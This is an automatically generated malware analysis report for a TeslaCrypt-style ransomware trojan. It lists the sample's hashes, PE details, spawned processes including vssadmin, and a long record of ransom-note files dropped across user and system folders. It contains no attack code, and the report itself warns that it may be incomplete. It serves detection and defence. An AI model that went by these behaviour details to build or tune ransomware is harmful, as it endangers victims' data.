Gen.Variant.Symmi.57371_00d88cb7c0

by malwarelabrobot on June 16th, 2016 in Malware Descriptions.

Susp_Dropper (Kaspersky), Gen:Variant.Symmi.57371 (B) (Emsisoft), Gen:Variant.Symmi.57371 (AdAware), Trojan.Win32.IEDummy.FD, TeslaCrypt21_pcap.YR (Lavasoft MAS)
Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: 00d88cb7c0838db03ec9ead41ce9cf8f
SHA1: d80770a8ea3c9f225c7b7d4dd99ee779222c0a1d
SHA256: 70f9925bb3af9edfacb485b56f2fcdc37458c453ecfffe9359f5c2d83780a849
SSDeep: 3072:IxSnef/w2c0bcpoJU AJ9bhtxlyBHbYwAltqCWQso3zFztoLV9lBB6cj27zcH2/X:eQezc0UogPKbAltWG/oL4T7vttIHPk
Size: 300975 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: MicrosoftVisualCv60DLL, UPolyXv05_v6
Company: no certificate found
Created at: 2006-05-17 23:44:46
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1616
vssadmin.exe:1340
vssadmin.exe:916
NOTEPAD.EXE:1888
vcwhqj.exe:228

The Trojan injects its code into the following process(es):
No processes have been created.

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1616 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\vcwhqj.exe (1425 bytes)

The process vcwhqj.exe:228 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\26\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\55\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Updater\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\8\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\33\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\61\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\WinPcap\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\Themes\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\My Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\11\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\Themes\restore_files_woyft.html (5 bytes)
C:\totalcmd\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\15\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\Search\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\21\restore_files_woyft.html (5 bytes)
C:\System Volume Information\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\My Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\System Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\jre1.6.0_18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\KTOR0Z81\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\14\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\55\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\49\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\2\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\29\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\4\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.HTML (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Communications\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\46\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\39\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\26\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\AU\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\Reader9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\si\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\all\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\53\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NetHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\21\restore_files_woyft.txt (2 bytes)
C:\totalcmd\NO.BAR (892 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\50\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\24\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\39\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\41\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\2\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\63\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\58\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\10\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\8\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\34\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\1\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\26\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\wordpfct.wpd (892 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\23\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\13\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\62\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\36\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\2\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\14\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\winword.doc (426 bytes)
%Documents and Settings%\Default User\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\25\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\53\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\eng\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\glob.settings.js (860 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\27\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\45\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\52\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\22\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\13\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\si\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#kiks.yandex.ru\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\35\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\30\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\23\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\PrintHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\28\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\32\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\62\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\60\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\56\restore_files_woyft.txt (2 bytes)
C:\totalcmd\KEYBOARD.TXT (436 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\kiks.yandex.ru\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\SendTo\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\59\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\61\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\restore_files_woyft.txt (2 bytes)
C:\System Volume Information\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\2\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\55\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\54\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Winter.jpg (1225 bytes)
%Documents and Settings%\Default User\Desktop\restore_files_woyft.html (5 bytes)
C:\totalcmd\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\52\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\excel4.xls (419 bytes)
%Documents and Settings%\Default User\Desktop\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\29\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\43\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\30\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\jre1.6.0_18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\4\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Collab\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\42\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\PrintHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Games\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\48\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Recent\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\48\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\63\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Recent\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\24\restore_files_woyft.html (5 bytes)
C:\RECYCLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\41\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\38\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\Reader9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\restore_files_woyft.html (5 bytes)
C:\RECYCLER\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\50\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\can\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\33\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\Recovery_File_xpcyiernx.txt (250 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Wireshark\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\27\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\50\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Forms\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\powerpnt.ppt (454 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\restore_files_woyft.html (5 bytes)
